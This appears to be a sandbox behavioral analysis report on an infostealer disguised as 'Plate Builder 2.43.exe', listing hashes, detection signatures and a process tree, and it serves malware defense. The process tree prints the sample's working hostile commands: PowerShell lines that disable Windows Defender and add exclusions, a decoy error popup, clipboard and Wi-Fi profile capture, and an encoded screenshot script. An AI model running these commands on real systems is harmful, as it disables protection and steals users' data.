Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
15-12-2024 13:36
Behavioral task
behavioral1
Sample
Plate Builder 2.43.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Plate Builder 2.43.exe
Resource
win10v2004-20241007-en
General
-
Target
Plate Builder 2.43.exe
-
Size
6.1MB
-
MD5
80a42d6794552834211c27b19e34fbf2
-
SHA1
5ef48c9fbf8752623d0674f9e974b93513339684
-
SHA256
23ee84ff80b7ab85a636aa03e7b3c396a34b5200470a2e151c86036809f92fd6
-
SHA512
1f2da2b74dd228d3e763c64b73cd1723c9851953853f3f17a45529781cbbc5152c11ae27062f0bc491f3aab71b80585a11840c22284f52422fbe712b268d63fd
-
SSDEEP
196608:8HnFIm/leN/FJMIDJf0gsAGK4R0nAKLYzr5:eqp/Fqyf0gstwAKO
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3412 powershell.exe 3448 powershell.exe 1476 powershell.exe 4484 powershell.exe 4796 powershell.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 4900 cmd.exe 4112 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1688 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe 2208 Plate Builder 2.43.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 26 discord.com 27 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 3 IoCs
pid Process 2692 tasklist.exe 4732 tasklist.exe 1068 tasklist.exe -
resource yara_rule behavioral2/files/0x0007000000023cce-21.dat upx behavioral2/memory/2208-25-0x00007FFCC0A00000-0x00007FFCC0E6E000-memory.dmp upx behavioral2/files/0x0007000000023cc1-27.dat upx behavioral2/files/0x0007000000023ccc-31.dat upx behavioral2/memory/2208-35-0x00007FFCD9240000-0x00007FFCD924F000-memory.dmp upx behavioral2/files/0x0007000000023ccd-34.dat upx behavioral2/files/0x0007000000023ccb-33.dat upx behavioral2/memory/2208-30-0x00007FFCD4010000-0x00007FFCD4034000-memory.dmp upx behavioral2/files/0x0007000000023cc8-48.dat upx behavioral2/files/0x0007000000023cc7-47.dat upx behavioral2/files/0x0007000000023cc6-46.dat upx behavioral2/files/0x0007000000023cc5-45.dat upx behavioral2/files/0x0007000000023cc4-44.dat upx behavioral2/files/0x0007000000023cc3-43.dat upx behavioral2/files/0x0007000000023cc2-42.dat upx behavioral2/files/0x0007000000023cc0-41.dat upx behavioral2/files/0x0007000000023cd3-40.dat upx behavioral2/files/0x0007000000023cd2-39.dat upx behavioral2/files/0x0007000000023cd1-38.dat upx behavioral2/memory/2208-54-0x00007FFCCF820000-0x00007FFCCF84D000-memory.dmp upx behavioral2/memory/2208-56-0x00007FFCCFA30000-0x00007FFCCFA49000-memory.dmp upx behavioral2/memory/2208-60-0x00007FFCC07C0000-0x00007FFCC0931000-memory.dmp upx behavioral2/memory/2208-59-0x00007FFCCF800000-0x00007FFCCF81F000-memory.dmp upx behavioral2/memory/2208-62-0x00007FFCCF6D0000-0x00007FFCCF6E9000-memory.dmp upx behavioral2/memory/2208-64-0x00007FFCD3DD0000-0x00007FFCD3DDD000-memory.dmp upx behavioral2/memory/2208-66-0x00007FFCCEF60000-0x00007FFCCEF8E000-memory.dmp upx behavioral2/memory/2208-72-0x00007FFCCEEA0000-0x00007FFCCEF58000-memory.dmp upx behavioral2/memory/2208-74-0x00007FFCBFE10000-0x00007FFCC0185000-memory.dmp upx behavioral2/memory/2208-79-0x00007FFCD0450000-0x00007FFCD045D000-memory.dmp upx behavioral2/memory/2208-83-0x00007FFCBFCF0000-0x00007FFCBFE08000-memory.dmp upx behavioral2/memory/2208-78-0x00007FFCCF820000-0x00007FFCCF84D000-memory.dmp upx behavioral2/memory/2208-76-0x00007FFCCF6B0000-0x00007FFCCF6C4000-memory.dmp upx behavioral2/memory/2208-71-0x00007FFCD4010000-0x00007FFCD4034000-memory.dmp upx behavioral2/memory/2208-70-0x00007FFCC0A00000-0x00007FFCC0E6E000-memory.dmp upx behavioral2/memory/2208-84-0x00007FFCCF800000-0x00007FFCCF81F000-memory.dmp upx behavioral2/memory/2208-196-0x00007FFCC07C0000-0x00007FFCC0931000-memory.dmp upx behavioral2/memory/2208-204-0x00007FFCCF6D0000-0x00007FFCCF6E9000-memory.dmp upx behavioral2/memory/2208-286-0x00007FFCCEF60000-0x00007FFCCEF8E000-memory.dmp upx behavioral2/memory/2208-304-0x00007FFCCEEA0000-0x00007FFCCEF58000-memory.dmp upx behavioral2/memory/2208-306-0x00007FFCBFE10000-0x00007FFCC0185000-memory.dmp upx behavioral2/memory/2208-327-0x00007FFCC0A00000-0x00007FFCC0E6E000-memory.dmp upx behavioral2/memory/2208-332-0x00007FFCCF800000-0x00007FFCCF81F000-memory.dmp upx behavioral2/memory/2208-328-0x00007FFCD4010000-0x00007FFCD4034000-memory.dmp upx behavioral2/memory/2208-333-0x00007FFCC07C0000-0x00007FFCC0931000-memory.dmp upx behavioral2/memory/2208-342-0x00007FFCC0A00000-0x00007FFCC0E6E000-memory.dmp upx behavioral2/memory/2208-356-0x00007FFCBFCF0000-0x00007FFCBFE08000-memory.dmp upx behavioral2/memory/2208-358-0x00007FFCCF6B0000-0x00007FFCCF6C4000-memory.dmp upx behavioral2/memory/2208-357-0x00007FFCBFE10000-0x00007FFCC0185000-memory.dmp upx behavioral2/memory/2208-355-0x00007FFCD0450000-0x00007FFCD045D000-memory.dmp upx behavioral2/memory/2208-352-0x00007FFCCEEA0000-0x00007FFCCEF58000-memory.dmp upx behavioral2/memory/2208-351-0x00007FFCCEF60000-0x00007FFCCEF8E000-memory.dmp upx behavioral2/memory/2208-350-0x00007FFCD3DD0000-0x00007FFCD3DDD000-memory.dmp upx behavioral2/memory/2208-349-0x00007FFCCF6D0000-0x00007FFCCF6E9000-memory.dmp upx behavioral2/memory/2208-348-0x00007FFCC07C0000-0x00007FFCC0931000-memory.dmp upx behavioral2/memory/2208-347-0x00007FFCCF800000-0x00007FFCCF81F000-memory.dmp upx behavioral2/memory/2208-346-0x00007FFCCFA30000-0x00007FFCCFA49000-memory.dmp upx behavioral2/memory/2208-345-0x00007FFCCF820000-0x00007FFCCF84D000-memory.dmp upx behavioral2/memory/2208-344-0x00007FFCD9240000-0x00007FFCD924F000-memory.dmp upx behavioral2/memory/2208-343-0x00007FFCD4010000-0x00007FFCD4034000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 3988 cmd.exe 3352 netsh.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3284 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1060 systeminfo.exe -
Suspicious behavior: EnumeratesProcesses 24 IoCs
pid Process 3412 powershell.exe 3412 powershell.exe 4796 powershell.exe 4796 powershell.exe 3448 powershell.exe 3448 powershell.exe 4112 powershell.exe 4112 powershell.exe 3412 powershell.exe 3412 powershell.exe 3480 powershell.exe 3480 powershell.exe 4112 powershell.exe 4796 powershell.exe 3448 powershell.exe 3480 powershell.exe 1476 powershell.exe 1476 powershell.exe 3096 powershell.exe 3096 powershell.exe 4484 powershell.exe 4484 powershell.exe 4900 powershell.exe 4900 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2692 tasklist.exe Token: SeDebugPrivilege 4732 tasklist.exe Token: SeDebugPrivilege 3412 powershell.exe Token: SeIncreaseQuotaPrivilege 1192 WMIC.exe Token: SeSecurityPrivilege 1192 WMIC.exe Token: SeTakeOwnershipPrivilege 1192 WMIC.exe Token: SeLoadDriverPrivilege 1192 WMIC.exe Token: SeSystemProfilePrivilege 1192 WMIC.exe Token: SeSystemtimePrivilege 1192 WMIC.exe Token: SeProfSingleProcessPrivilege 1192 WMIC.exe Token: SeIncBasePriorityPrivilege 1192 WMIC.exe Token: SeCreatePagefilePrivilege 1192 WMIC.exe Token: SeBackupPrivilege 1192 WMIC.exe Token: SeRestorePrivilege 1192 WMIC.exe Token: SeShutdownPrivilege 1192 WMIC.exe Token: SeDebugPrivilege 1192 WMIC.exe Token: SeSystemEnvironmentPrivilege 1192 WMIC.exe Token: SeRemoteShutdownPrivilege 1192 WMIC.exe Token: SeUndockPrivilege 1192 WMIC.exe Token: SeManageVolumePrivilege 1192 WMIC.exe Token: 33 1192 WMIC.exe Token: 34 1192 WMIC.exe Token: 35 1192 WMIC.exe Token: 36 1192 WMIC.exe Token: SeDebugPrivilege 4796 powershell.exe Token: SeDebugPrivilege 3448 powershell.exe Token: SeDebugPrivilege 1068 tasklist.exe Token: SeDebugPrivilege 4112 powershell.exe Token: SeIncreaseQuotaPrivilege 1192 WMIC.exe Token: SeSecurityPrivilege 1192 WMIC.exe Token: SeTakeOwnershipPrivilege 1192 WMIC.exe Token: SeLoadDriverPrivilege 1192 WMIC.exe Token: SeSystemProfilePrivilege 1192 WMIC.exe Token: SeSystemtimePrivilege 1192 WMIC.exe Token: SeProfSingleProcessPrivilege 1192 WMIC.exe Token: SeIncBasePriorityPrivilege 1192 WMIC.exe Token: SeCreatePagefilePrivilege 1192 WMIC.exe Token: SeBackupPrivilege 1192 WMIC.exe Token: SeRestorePrivilege 1192 WMIC.exe Token: SeShutdownPrivilege 1192 WMIC.exe Token: SeDebugPrivilege 1192 WMIC.exe Token: SeSystemEnvironmentPrivilege 1192 WMIC.exe Token: SeRemoteShutdownPrivilege 1192 WMIC.exe Token: SeUndockPrivilege 1192 WMIC.exe Token: SeManageVolumePrivilege 1192 WMIC.exe Token: 33 1192 WMIC.exe Token: 34 1192 WMIC.exe Token: 35 1192 WMIC.exe Token: 36 1192 WMIC.exe Token: SeDebugPrivilege 3480 powershell.exe Token: SeDebugPrivilege 1476 powershell.exe Token: SeDebugPrivilege 3096 powershell.exe Token: SeIncreaseQuotaPrivilege 2868 WMIC.exe Token: SeSecurityPrivilege 2868 WMIC.exe Token: SeTakeOwnershipPrivilege 2868 WMIC.exe Token: SeLoadDriverPrivilege 2868 WMIC.exe Token: SeSystemProfilePrivilege 2868 WMIC.exe Token: SeSystemtimePrivilege 2868 WMIC.exe Token: SeProfSingleProcessPrivilege 2868 WMIC.exe Token: SeIncBasePriorityPrivilege 2868 WMIC.exe Token: SeCreatePagefilePrivilege 2868 WMIC.exe Token: SeBackupPrivilege 2868 WMIC.exe Token: SeRestorePrivilege 2868 WMIC.exe Token: SeShutdownPrivilege 2868 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2360 wrote to memory of 2208 2360 Plate Builder 2.43.exe 83 PID 2360 wrote to memory of 2208 2360 Plate Builder 2.43.exe 83 PID 2208 wrote to memory of 1480 2208 Plate Builder 2.43.exe 84 PID 2208 wrote to memory of 1480 2208 Plate Builder 2.43.exe 84 PID 2208 wrote to memory of 3436 2208 Plate Builder 2.43.exe 85 PID 2208 wrote to memory of 3436 2208 Plate Builder 2.43.exe 85 PID 2208 wrote to memory of 2924 2208 Plate Builder 2.43.exe 86 PID 2208 wrote to memory of 2924 2208 Plate Builder 2.43.exe 86 PID 2208 wrote to memory of 3180 2208 Plate Builder 2.43.exe 90 PID 2208 wrote to memory of 3180 2208 Plate Builder 2.43.exe 90 PID 2208 wrote to memory of 32 2208 Plate Builder 2.43.exe 92 PID 2208 wrote to memory of 32 2208 Plate Builder 2.43.exe 92 PID 2208 wrote to memory of 2480 2208 Plate Builder 2.43.exe 93 PID 2208 wrote to memory of 2480 2208 Plate Builder 2.43.exe 93 PID 2480 wrote to memory of 4732 2480 cmd.exe 96 PID 2480 wrote to memory of 4732 2480 cmd.exe 96 PID 32 wrote to memory of 2692 32 cmd.exe 97 PID 32 wrote to memory of 2692 32 cmd.exe 97 PID 3436 wrote to memory of 4796 3436 cmd.exe 98 PID 3436 wrote to memory of 4796 3436 cmd.exe 98 PID 2924 wrote to memory of 4452 2924 cmd.exe 99 PID 2924 wrote to memory of 4452 2924 cmd.exe 99 PID 1480 wrote to memory of 3412 1480 cmd.exe 100 PID 1480 wrote to memory of 3412 1480 cmd.exe 100 PID 2208 wrote to memory of 4048 2208 Plate Builder 2.43.exe 101 PID 2208 wrote to memory of 4048 2208 Plate Builder 2.43.exe 101 PID 2208 wrote to memory of 4900 2208 Plate Builder 2.43.exe 102 PID 2208 wrote to memory of 4900 2208 Plate Builder 2.43.exe 102 PID 2208 wrote to memory of 4700 2208 Plate Builder 2.43.exe 105 PID 2208 wrote to memory of 4700 2208 Plate Builder 2.43.exe 105 PID 2208 wrote to memory of 516 2208 Plate Builder 2.43.exe 106 PID 2208 wrote to memory of 516 2208 Plate Builder 2.43.exe 106 PID 2208 wrote to memory of 3988 2208 Plate Builder 2.43.exe 109 PID 2208 wrote to memory of 3988 2208 Plate Builder 2.43.exe 109 PID 2208 wrote to memory of 4336 2208 Plate Builder 2.43.exe 110 PID 2208 wrote to memory of 4336 2208 Plate Builder 2.43.exe 110 PID 2208 wrote to memory of 4228 2208 Plate Builder 2.43.exe 114 PID 2208 wrote to memory of 4228 2208 Plate Builder 2.43.exe 114 PID 4900 wrote to memory of 4112 4900 cmd.exe 116 PID 4900 wrote to memory of 4112 4900 cmd.exe 116 PID 3180 wrote to memory of 3448 3180 cmd.exe 117 PID 3180 wrote to memory of 3448 3180 cmd.exe 117 PID 4048 wrote to memory of 1192 4048 cmd.exe 118 PID 4048 wrote to memory of 1192 4048 cmd.exe 118 PID 4700 wrote to memory of 1068 4700 cmd.exe 119 PID 4700 wrote to memory of 1068 4700 cmd.exe 119 PID 516 wrote to memory of 4968 516 cmd.exe 120 PID 516 wrote to memory of 4968 516 cmd.exe 120 PID 4228 wrote to memory of 3480 4228 cmd.exe 121 PID 4228 wrote to memory of 3480 4228 cmd.exe 121 PID 3988 wrote to memory of 3352 3988 cmd.exe 122 PID 3988 wrote to memory of 3352 3988 cmd.exe 122 PID 4336 wrote to memory of 1060 4336 cmd.exe 123 PID 4336 wrote to memory of 1060 4336 cmd.exe 123 PID 2208 wrote to memory of 3164 2208 Plate Builder 2.43.exe 124 PID 2208 wrote to memory of 3164 2208 Plate Builder 2.43.exe 124 PID 3164 wrote to memory of 3184 3164 cmd.exe 126 PID 3164 wrote to memory of 3184 3164 cmd.exe 126 PID 2208 wrote to memory of 556 2208 Plate Builder 2.43.exe 127 PID 2208 wrote to memory of 556 2208 Plate Builder 2.43.exe 127 PID 556 wrote to memory of 372 556 cmd.exe 130 PID 556 wrote to memory of 372 556 cmd.exe 130 PID 2208 wrote to memory of 1584 2208 Plate Builder 2.43.exe 131 PID 2208 wrote to memory of 1584 2208 Plate Builder 2.43.exe 131
Processes
-
C:\Users\Admin\AppData\Local\Temp\Plate Builder 2.43.exe"C:\Users\Admin\AppData\Local\Temp\Plate Builder 2.43.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Users\Admin\AppData\Local\Temp\Plate Builder 2.43.exe"C:\Users\Admin\AppData\Local\Temp\Plate Builder 2.43.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Plate Builder 2.43.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Plate Builder 2.43.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3412
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4796
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Install .NET Core 8.0', 0, 'Error: 404', 0+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Install .NET Core 8.0', 0, 'Error: 404', 0+16);close()"4⤵PID:4452
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3448
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:32 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2692
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:2480 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4732
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1192
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4112
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1068
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
- Suspicious use of WriteProcessMemory
PID:516 -
C:\Windows\system32\tree.comtree /A /F4⤵PID:4968
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:3352
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
PID:4336 -
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:1060
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵
- Suspicious use of WriteProcessMemory
PID:4228 -
